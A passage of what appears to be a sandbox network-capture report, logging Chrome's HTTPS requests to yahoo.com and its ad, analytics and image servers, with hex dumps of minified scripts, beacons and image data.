61 29 72 65 74 75 72 6e 22 22 3b 62 3d 62 7c 7c 22 26 22 3b 63 3d 63 7c 7c 22 2c 24 22 3b 22 73 74 Data Ascii: this.i="&";this.h={};this.o=0;this.g=[]},z=function(a,b){var c={};c[a]=b;return[c]},qa=function(a,b,c,d,e){var k=[];ja(a,function(g,A){(g=pa(g,b,c,d,e))&&k.push(A+"="+g)});return k.join(b)},pa=function(a,b,c,d,e){if(null==a)return"";b=b\|\|"&";c=c\|\|",$";"st
2024-01-10 23:27:16 UTC	1252	IN	Data Raw: 28 29 3b 61 2e 6e 61 6d 65 26 26 2d 31 3d 3d 62 2e 69 6e 64 65 78 4f 66 28 61 2e 6e 61 6d 65 29 26 26 28 62 2b 3d 22 3a 20 22 2b 61 2e 6e 61 6d 65 29 3b 61 2e 6d 65 73 73 61 67 65 26 26 2d 31 3d 3d 62 2e 69 6e 64 65 78 4f 66 28 61 2e 6d 65 73 73 61 67 65 29 26 26 28 62 2b 3d 22 3a 20 22 2b 61 2e 6d 65 73 73 61 67 65 29 3b 69 66 28 61 2e 73 74 61 63 6b 29 7b 61 3d 61 2e 73 74 61 63 6b 3b 76 61 72 20 63 3d 62 3b 74 72 79 7b 2d 31 3d 3d 61 2e 69 6e 64 65 78 4f 66 28 63 29 26 26 28 61 3d 63 2b 22 5c 6e 22 2b 61 29 3b 66 6f 72 28 76 61 72 20 64 3b 61 21 3d 64 3b 29 64 3d 61 2c 61 3d 61 2e 72 65 70 6c 61 63 65 28 52 65 67 45 78 70 28 22 28 28 68 74 74 70 73 3f 3a 2f 2e 2e 2a 2f 29 5b 5e 2f 3a 5d 2a 3a 5c 5c 64 2b 28 3f 3a 2e 7c 5c 6e 29 2a 29 5c 5c 32 22 29 2c Data Ascii: ();a.name&&-1==b.indexOf(a.name)&&(b+=": "+a.name);a.message&&-1==b.indexOf(a.message)&&(b+=": "+a.message);if(a.stack){a=a.stack;var c=b;try{-1==a.indexOf(c)&&(a=c+"\n"+a);for(var d;a!=d;)d=a,a=a.replace(RegExp("((https?:/../)[^/:]:\\d+(?:.\|\n)*)\\2"),
2024-01-10 23:27:16 UTC	1252	IN	Data Raw: 5b 32 5d 2c 45 3d 43 5b 33 5d 3b 69 66 28 44 3e 45 2e 6c 65 6e 67 74 68 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 50 61 72 73 65 64 20 63 6f 6e 74 65 6e 74 20 73 69 7a 65 20 64 6f 65 73 6e 27 74 20 6d 61 74 63 68 2e 20 22 2b 44 2b 22 3a 22 2b 45 2e 6c 65 6e 67 74 68 29 3b 42 3d 7b 6d 3a 43 5b 31 5d 2c 63 6f 6e 74 65 6e 74 3a 45 2e 73 75 62 73 74 72 28 30 2c 44 29 2c 6c 3a 45 2e 73 75 62 73 74 72 28 44 29 7d 3b 76 61 72 20 46 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 42 2e 6c 29 3b 77 69 6e 64 6f 77 2e 6e 61 6d 65 3d 22 22 3b 76 61 72 20 42 61 3d 42 2e 63 6f 6e 74 65 6e 74 3b 46 2e 67 6f 6f 67 5f 73 61 66 65 66 72 61 6d 65 5f 68 6c 74 26 26 28 66 2e 67 6f 6f 67 5f 73 61 66 65 66 72 61 6d 65 5f 68 6c 74 3d 46 2e 67 6f 6f 67 5f 73 61 66 65 66 72 61 6d 65 5f 68 6c Data Ascii: [2],E=C[3];if(D>E.length)throw Error("Parsed content size doesn't match. "+D+":"+E.length);B={m:C[1],content:E.substr(0,D),l:E.substr(D)};var F=JSON.parse(B.l);window.name="";var Ba=B.content;F.goog_safeframe_hlt&&(f.goog_safeframe_hlt=F.goog_safeframe_hl
2024-01-10 23:27:16 UTC	609	IN	Data Raw: 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2c 21 31 29 2c 46 61 3d 6e 75 6c 6c 2c 55 3d 4b 2e 6c 65 6e 67 74 68 2d 31 2c 56 3d 55 3b 30 3c 3d 56 3b 2d 2d 56 29 7b 76 61 72 20 57 3d 4b 5b 56 5d 3b 21 46 61 26 26 6b 61 2e 74 65 73 74 28 57 2e 75 72 6c 29 26 26 28 46 61 3d 57 29 3b 69 66 28 57 2e 75 72 6c 26 26 21 57 2e 6a 29 7b 78 3d 57 3b 62 72 65 61 6b 7d 7d 76 61 72 20 6c 61 3d 6e 75 6c 6c 2c 47 61 3d 4b 2e 6c 65 6e 67 74 68 26 26 4b 5b 55 5d 2e 75 72 6c 3b 30 21 3d 78 2e 64 65 70 74 68 26 26 47 61 26 26 28 6c 61 3d 4b 5b 55 5d 29 3b 48 3d 6e 65 77 20 6d 61 3b 69 66 28 48 2e 68 29 7b 76 61 72 20 48 61 3d 48 2e 68 2e 75 72 6c 7c 7c 22 22 3b 49 2e 67 2e 70 75 73 68 28 34 29 3b 49 2e 68 5b 34 5d 3d 7a 28 22 74 6f 70 22 2c 48 61 29 7d 76 61 72 20 49 61 3d 7b Data Ascii: .location.href,!1),Fa=null,U=K.length-1,V=U;0<=V;--V){var W=K[V];!Fa&&ka.test(W.url)&&(Fa=W);if(W.url&&!W.j){x=W;break}}var la=null,Ga=K.length&&K[U].url;0!=x.depth&&Ga&&(la=K[U]);H=new ma;if(H.h){var Ha=H.h.url\|\|"";I.g.push(4);I.h[4]=z("top",Ha)}var Ia={

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
241	192.168.2.4	50002	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	1331	OUT	POST /_td_api/beacon/info?beaconSrc=HomepagePWA&bucket=drop_heimdall_homepage_control_bucket,MimicProviderListv2-copy,seamless&eventName=svcWkrRegSuccess&rid=0gast8pipu9uc HTTP/1.1 Host: www.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
2024-01-10 23:27:16 UTC	1113	IN	HTTP/1.1 204 No Content referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 x-powered-by: Express content-security-policy-report-only: default-src 'self'; report-uri https://csp.yahoo.com/beacon/csp?src=fendr_beaconeater.media.yahoo.com date: Wed, 10 Jan 2024 23:27:16 GMT x-envoy-upstream-service-time: 1 server: ATS Age: 0 Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=3u4dvmhipu9uk&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
242	192.168.2.4	50001	34.95.69.49	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	590	OUT	POST /1a HTTP/1.1 Host: i.clean.gg Connection: keep-alive Content-Length: 485 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:16 UTC	485	OUT	Data Raw: 7b 22 61 63 74 69 6f 6e 5f 6e 61 6d 65 22 3a 22 45 76 65 6e 74 73 22 2c 22 66 22 3a 22 70 61 67 65 76 69 65 77 22 2c 22 6a 73 74 69 6d 65 73 74 61 6d 70 22 3a 31 37 30 34 39 32 39 32 33 34 34 35 36 2c 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 33 31 2c 22 61 63 74 69 6f 6e 5f 67 72 6f 75 70 5f 69 64 22 3a 22 61 62 63 37 31 34 63 64 2d 66 65 30 62 2d 64 35 61 61 2d 36 30 64 35 2d 32 39 39 62 38 33 66 62 66 33 66 66 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 34 2e 32 35 2e 35 2d 61 71 2d 79 61 68 6f 6f 73 63 6c 22 2c 22 74 6f 70 4c 6f 63 61 74 69 6f 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 2c 22 6a 73 74 7a 6f 66 Data Ascii: {"action_name":"Events","f":"pageview","jstimestamp":1704929234456,"elapsed_time":31,"action_group_id":"abc714cd-fe0b-d5aa-60d5-299b83fbf3ff","version":"4.25.5-aq-yahooscl","topLocation":"https://www.yahoo.com/","referrer":"https://www.yahoo.com/","jstzof
2024-01-10 23:27:16 UTC	511	IN	HTTP/1.1 200 OK Server: nginx/1.21.6 Date: Wed, 10 Jan 2024 23:27:16 GMT Content-Type: application/octet-stream Content-Length: 0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range,Origin,Accept,X-API-Key Access-Control-Expose-Headers: Content-Length,Content-Range Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
243	192.168.2.4	50003	66.218.87.15	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	2140	OUT	POST /p?s=2023538075&t=rxmnmONAFbnwt0qs,0.6001931042029283&_I=&_AO=0&_NOL=0&_R=&_P=3.53.38%05_a1s%03d%3DAQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA%26S%3DAQAAAlmJI9BM9Ds3H5PEUUyUb6E%04_pl%031%04A_v%033.53.38%04A_cn%03VERSIONED-PROD%04test%03drop_heimdall_homepage_control_bucket%2CMimicProviderListv2-copy%2Cseamless%04_bt%03rapid%04A_pr%03https%04A_tzoff%031%04A_sid%036L7ZFHZdY5rW7mNl%04_w%03www.yahoo.com%2F%04_rid%030gast8pipu9uc%04abk%03%04colo%03bf1%04mrkt%03us%04p_sec%03default%04partner%03none%04site%03fp%04uh_vw%030%04pt%03home%04navtype%03server%04ver%03megastrm%04version%03US%04uloc%03AAEBAQJERQIEAMLB3AMEAVnThQQEAMAaoQUEAXjoqQcEACPSTQgEAWVv0QoCVVM%04A_utm%03%7B%22perf_ttfb%22%3A751%2C%22perf_ttfb_rating%22%3A%22good%22%7D%04etrg%03backgroundPost%04outcm%03performance%04usergenf%030%04etag%03performance%04_E%03pageperf%04_ts%031704929234%04_ms%03809%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
2024-01-10 23:27:16 UTC	503	IN	HTTP/1.1 200 OK date: Wed, 10 Jan 2024 23:27:16 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-01-10 23:27:16 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
244	192.168.2.4	50004	13.249.39.110	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	611	OUT	GET /adscores/g.pixel?sid=9202214988&yho=y-MfEWbalE2p5Ho5S4sAYrgdODjWOkhRjPQl8-~A HTTP/1.1 Host: aa.agkn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:16 UTC	971	IN	HTTP/1.1 302 Found Transfer-Encoding: chunked Connection: close Date: Wed, 10 Jan 2024 23:27:16 GMT Server: AAWebServer P3P: policyref="https://www.agkn.com/p3p/p3p.xml",CP="NOI NID" Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: accept, cache-control, origin, x-requested-with, x-file-name, content-type Set-Cookie: ab=0001%3A%2FiaC4P7GSPpt%2BQk92Y6MpyHpqxRbHLtP; Path=/; Domain=.agkn.com; Expires=Fri, 10-Jan-2025 23:27:16 GMT; Max-Age=31536000; Secure; SameSite=None Location: https://cms.analytics.yahoo.com/cms?partner_id=NEUAR&_origin=false&_redirect=false&_hosted_id=213320604757009326690&gdpr=&gdpr_consent= X-Cache: Miss from cloudfront Via: 1.1 85fc1201a1918facbeb30836e7391660.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD89-C1 X-Amz-Cf-Id: -Hx9P8L9QR70WZkgUKKhR7fka4L06VTSDlLEpDmSYN_FKpBqrlwadQ==
2024-01-10 23:27:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
245	192.168.2.4	50007	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	598	OUT	GET /cv/apiv2/weather-svg/CLOUDY.svg HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:16 UTC	817	IN	HTTP/1.1 200 OK x-amz-id-2: 1KEA7wBbfqFsnwHZQVIMV30QULKH8mKHZQS2kAL4GVf2Px2gMtdk800cLavS5Aw/Zn8QNaEUGWU= x-amz-request-id: RZ3282EKE9AJV0JM Date: Fri, 05 Jan 2024 02:21:17 GMT Last-Modified: Fri, 13 Nov 2020 21:27:14 GMT ETag: "2ce4c74b57ac265a4ef00aac58c326b3" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/svg+xml Server: ATS Content-Length: 1944 Referrer-Policy: no-referrer-when-downgrade Age: 507960 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-01-10 23:27:16 UTC	1300	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 3e 0a 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 78 31 3d 22 36 34 2e 32 37 38 25 22 20 79 31 3d 22 31 30 30 25 22 20 78 32 3d 22 36 34 2e 32 37 38 25 22 20 79 32 3d 22 31 2e 33 35 31 25 22 20 69 64 3d 22 61 22 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 42 35 42 44 43 38 22 20 6f 66 66 73 65 74 3d 22 30 25 22 2f 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 73 74 6f 70 Data Ascii: <svg width="48" height="48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <linearGradient x1="64.278%" y1="100%" x2="64.278%" y2="1.351%" id="a"> <stop stop-color="#B5BDC8" offset="0%"/> <stop stop
2024-01-10 23:27:16 UTC	644	IN	Data Raw: 20 20 3c 2f 64 65 66 73 3e 0a 20 20 3c 67 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 6e 6f 6e 7a 65 72 6f 22 3e 0a 20 20 20 20 3c 67 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 32 20 38 29 22 3e 0a 20 20 20 20 20 20 3c 75 73 65 20 66 69 6c 6c 3d 22 75 72 6c 28 23 61 29 22 20 78 6c 69 6e 6b 3a 68 72 65 66 3d 22 23 62 22 2f 3e 0a 20 20 20 20 20 20 3c 75 73 65 20 66 69 6c 6c 2d 6f 70 61 63 69 74 79 3d 22 2e 30 35 22 20 66 69 6c 6c 3d 22 23 37 44 43 42 46 46 22 20 78 6c 69 6e 6b 3a 68 72 65 66 3d 22 23 62 22 2f 3e 0a 20 20 20 20 3c 2f 67 3e 0a 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 32 34 2e 32 20 31 30 2e 35 39 38 63 2e 31 31 37 20 35 2e 34 2d 31 2e 32 36 20 31 30 2e 38 34 32 2d 34 2e 32 34 37 20 31 30 2e Data Ascii: </defs> <g fill="none" fill-rule="nonzero"> <g transform="translate(2 8)"> <use fill="url(#a)" xlink:href="#b"/> <use fill-opacity=".05" fill="#7DCBFF" xlink:href="#b"/> </g> <path d="M24.2 10.598c.117 5.4-1.26 10.842-4.247 10.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
246	192.168.2.4	50008	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	740	OUT	GET /iu/api/res/1.2/cA2iZe.B78wjQSwfOu6Qhw--~B/YXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw/https://s.yimg.com/cv/apiv2/default/ncaab/20190108/500x500/loyola_maryland_wbg.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:16 UTC	1292	IN	HTTP/1.1 200 OK Content-Length: 1607 Content-Type: image/png Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 235300738716158628928423860553162384470,230260252097631031644186748561381059859,ae7a14591aaf8d474cdb3f92111c923e Edge-Cache-Tag: 235300738716158628928423860553162384470,230260252097631031644186748561381059859,ae7a14591aaf8d474cdb3f92111c923e Etag: "bd02f8b54d9f18dd175188c3c305a9a7" Expiration: expiry-date="Fri, 24 May 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Sat, 25 Nov 2023 15:42:55 GMT Server: ATS Surrogate-Reporting: width=50,height=50,bytes=1607,owidth=500,oheight=500,obytes=3105 Timing-Allow-Origin: * Accept-Ranges: bytes Date: Sat, 06 Jan 2024 23:16:54 GMT X-Served-By: cache-lga21949-LGA X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1704583015.570590,VS0,VE5 Age: 346222 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_by: cache-lga21949-LGA cld_latency: 5 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"
2024-01-10 23:27:16 UTC	91	IN	Data Raw: 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-01-10 23:27:16 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 09 70 48 59 73 00 00 17 11 00 00 17 11 01 ca 26 f3 3f 00 00 00 07 74 49 4d 45 07 e7 0b 19 0f 2a 36 36 d9 b6 12 00 00 05 e6 49 44 41 54 68 de cd 9a c9 6f 1b 65 18 87 9f 59 ec b1 1d 27 4d da a4 59 ba 91 34 bb b7 24 a2 94 42 49 ab 0a 0e 48 08 55 42 42 dc 40 dc 40 a8 50 0e 54 aa 40 1c f8 0b b8 21 21 41 ff 04 38 20 84 44 a1 2d 45 dd 20 71 d2 45 a2 6d f6 c6 76 f6 38 93 76 92 b4 93 e1 e0 25 13 67 a9 33 33 4e fb 49 91 9c 6f c6 93 ef f1 fb fe de cd 11 c8 63 49 de 62 3f 30 02 48 6c ef 7a 5d d7 d4 eb f9 dc 28 e7 f9 c0 57 80 d2 6d 86 78 88 61 44 f3 bd 39 5f 90 63 d9 8f e8 c4 71 14 b7 bb 20 27 5f 36 96 f9 f5 b7 df 33 bf 5e d1 17 e6 97 0a 02 b2 b3 ac 8c 6f be 3e Data Ascii: PNGIHDR22?pHYs&?tIME*66IDAThoeY'MY4$BIHUBB@@PT@!!A8 D-E qEmv8v%g33NIocIb?0Hlz](WmxaD9_cq '_63^o>
2024-01-10 23:27:16 UTC	307	IN	Data Raw: a6 6d 13 fc 71 21 5b 08 dc d5 35 35 b6 99 d8 8f e7 e6 8f 1e 1b fd 47 89 c7 cb 9d b1 61 5b 87 df ed 2f a5 bc a8 84 d9 64 92 81 c1 a1 75 73 90 bc 91 3e 64 59 22 1c 0c 00 58 6e 6b 01 ce dd 38 cf b9 1b e7 6d 81 7c f5 c6 7b 1c ab 0b 12 ed b9 89 61 18 eb 56 05 ab c5 ae ec c8 46 ac e6 c6 46 bc 5e 8f ed 88 e5 c4 ca 4e 25 a3 1b 4f 25 c5 d5 15 ea 72 03 50 63 9e 5f 8d cf cf 92 70 a6 ae b3 b4 f6 97 55 50 e6 f5 e7 96 ff 7d ba a6 8e 6c 96 d9 d7 cc 77 7b 62 83 cf d8 1a a9 1c 34 37 a7 72 bf 6f 60 c3 1a 4d 5e 0f 44 92 44 c2 a1 94 3e 8e d6 b6 d0 b1 f7 cc 33 03 f1 b9 52 e1 3f da bb b1 3e 36 04 69 6c a8 a7 c8 e7 03 c0 eb 52 f0 a6 1f f6 2c 57 f7 53 aa 66 c1 34 88 ab 05 fa 01 6a aa ab 08 06 5a 78 9e d6 bf dd 3d 4c 4d 4d 03 0c ea 9a 5a bb 99 45 b2 f9 23 16 4f 98 9b 9f e7 6d 5d Data Ascii: mq![55Ga[/dus>dY"Xnk8m\|{aVFF^N%O%rPc_pUP}lw{b47ro`M^DD>3R?>6ilR,WSf4jZx=LMMZE#Om]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
247	192.168.2.4	50006	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
